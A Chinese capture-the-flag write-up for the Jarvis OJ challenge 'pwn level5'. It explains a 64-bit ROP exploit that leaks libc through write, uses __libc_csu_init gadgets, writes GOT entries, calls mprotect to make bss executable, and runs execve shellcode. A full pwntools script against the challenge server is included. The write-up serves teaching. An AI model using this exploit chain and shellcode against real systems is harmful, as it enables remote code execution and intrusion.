pwn level5

这个题和level3-64的附件一样,level5要求不用system和execve,而是用mprotect和mmap,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行,mprotect函数是将从addr开始的地址 ,长度位len的内存的访问权限。

可以这样做:利用shellcode,利用read函数把shellcode写入bss段,这里要求写入的bss段是可执行的。但是这道题目中的bss 段是不可执行的。
这里就用mprotect来修改权限:Linux中mprotect()函数的用法

思路:泄漏write地址-》获得libc版本-》把shellcode写入bss段-》获得mprotect函数地址并修改bss段的权限-》执行bss段里的shellcode。

这里不免要构造ROP链,但是找到合适的pop rdi等的指令总是不如意,所以这里用到了通用gedgat。
在这道题目中像read,write,mprotect 函数都需要三个参数,在64位系统中,在调用函数时,其前六个参数是在rdi,rsi,rdx,rcx,r8,r9中取的,这道题目中只有rdi,rsi的片段,rdx的值不能控制,所以这里就用到了通用的gedget。

0x01 通用gedget

我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)。(在IDA中的函数列表中可以找到这个函数,看一下汇编代码)

红框中的就是我们要利用的gedget。
调用4006A6可以对rbx,rbp,r12,r13,r14,r15进行赋值,再通过调用400690函数,分别对rdx,rsi,edi,进行赋值,通过控制r12,rbx的值,可以调用想要调用的函数,比如r12=0,rbx=0x10000,则在call处,调用0x10000处的函数。

0x02 泄漏write地址并得出libc版本

和level3一样,因为rbx的值为0x200,大于8,所以可以不对rbx进行赋值。即write的第三个参数可以不管。write(1,write_got,8)是把write_got地址指向内存的内容的前8个字节写入到标准输出流中。

write_plt = 0x00000000004004B0
write_got = 0x0000000000600A58
read_plt = 0x00000000004004C0
vul_addr = 0x00000000004005E6rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1payload = 'a'*0x80+'b'*0x8  #padding
payload += p64(rdi)+p64(0x01) #write的第一个参数
payload += p64(rsi_r15)+p64(write_got)+p64(0) #write第二个参数和弹入r15的垃圾数据
payload += p64(write_plt)+p64(vul_addr)#调用write函数以及write函数的返回地址r.recvuntil("Input:\n")
r.sendline(payload)
write_addr = u64(r.recv(8))
print hex(write_addr)

0x03 把shellcode写入bss段

bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)

看的别人的wp,有个疑问:read的第三个参数不需要指定吗?是默认取rbx中的值吗?

0x04 得到mprotect的地址,并把mprotect和bss的地址写入got列表

因为要调用mprotect和bss,要调用程序中没有的函数,要把其地址写入got列表,写入got表所在地址可以在ida中查看,即空的地址。
程序的got表:

在ida中找空的got表地址

脚本:

###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))###########write mpro to got table
offset=write_addr-libc.symbols['write']
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))

0x05 修改bss权限,并执行bss的内容

payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)

payload5=‘a’*0x88+p64(0x4006A6)+“ret_addr” + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)

第一步padding+return addr设为0x4006a6,调用该函数,然后是该函数的返回地址,后边是分别向对应的寄存器中存值,rbx=0, rbp=1, r12=mprot_got, r13=7, r14=0x1000, r15=0x600000, 因为要调用mprotect 函数进行修改权限,在400690函数中要给rdx,rsi,edi,r12,rbx赋值,所以把rbx设为0,r12设为要调用的函数地址。

mprotect的三个参数为(strat_addr,len,prot)mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,这里从0x600000开始,包括bss段的地址即可,长度为0x1000为一个page,mprotect是以page为单位的,权限为可执行7。

注意值与寄存器的对应。

这里想要执行bss段里的shllcode,就要重新设置r12的值,即需要再次调用4006a6函数,可以通过设置rbp的值,在400690中,rbp设置为1,即可再次调用4006a6函数。

payload5 += p64(0x400690)+“ret_addr” + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)

这里400690是把4006a6中的值赋值给相应寄存器,在次执行4006a6,给相应寄存器赋值,再调用400690执行shellcode,获取shell。

0x06 脚本

from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
e = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
######### leak
write_plt = e.plt["write"]
write_got = e.got["write"]
vul_addr = e.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr)
p.recvline()
p.send(payload1)
tmp=p.recv(8)
write_addr=u64(tmp[0:8])
print hex(write_addr)offset=write_addr-libc.symbols['write']
########### read shell code to bss
bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))###########write mpro to got table
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))########### jmp to __libc_csu_init to call shellcode
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
p.recvline()
p.send(payload5)
sleep(5)
p.interactive()

0x07 参考

  • https://blog.csdn.net/qq_38204481/article/details/80984318
  • https://blog.csdn.net/weixin_41617275/article/details/84955439

Javris OJ - pwn level5(mmap和mprotect练习)(_libc_csu_init中的通用gedget的使用)相关推荐

  1. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  2. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  3. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

  4. [Jarvis OJ - PWN]——Test Your Memory

    [Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...

  5. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  6. [Jarvis OJ - PWN]——Smashes

    [Jarvis OJ - PWN]--Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看.64位,并且除了PIE ...

  7. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

  8. [Jarvis OJ - PWN]——[XMAN]level3

    [Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...

  9. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

最新文章

  1. 开发者在行动!中国防疫开源项目登上GitHub TOP榜
  2. mysql修改配置文件内存后无法启动_记一次Oracle实例在修改内存大小后无法启动的惊悚经历...
  3. 你用过这种奇葩的C#注释吗?如何看待
  4. Java的多线程和线程池的使用,你真的清楚了吗?
  5. BCOS系统合约介绍
  6. Spring MVC国际化(i18n)和本地化(L10n)示例
  7. vscode 注释插件
  8. 安卓设置原生alert设置圆角_每个月流量都超额?安卓、苹果用户可以尝试更改这些设置...
  9. THUSC2016 游记
  10. 【转】缺少servlet-api.jar包
  11. 【MM32F5270开发板试用】+ TFTLCD IO口方式驱动
  12. 每个程序员都应该知道的事情
  13. 热烈祝贺中贝通集团和武汉鑫炀科技顺利通过CMMIV2.0三级认证
  14. linux内核usleep,Linux下的usleep函数
  15. 子类构造与析构时,父类构造与析构机制
  16. APP被苹果审核团队拒绝的原因
  17. Python的各种转换
  18. 地铁自助售票机模拟系统-C++课程设计
  19. 开发常见密码技术概念RSA使用示例
  20. 在excel中绘制甘特图

热门文章

  1. SE14 调整并激活数据库
  2. 错觉图:考考你的眼力
  3. 2012年9月ITbrand手机品牌排行榜
  4. oracle lag over 用法,lag()使用方法
  5. 对 BFC 规范(块级格式化上下文:block formatting context)的理解?
  6. 3.1 详细讲解直线段工具 [Illustrator CC教程]
  7. 一朵云开启智慧交通新未来
  8. 爬虫框架Scrapy(西瓜皮)
  9. python dict是什么意思,python中的字典是什么
  10. 【JokerのLabView】VI嵌套。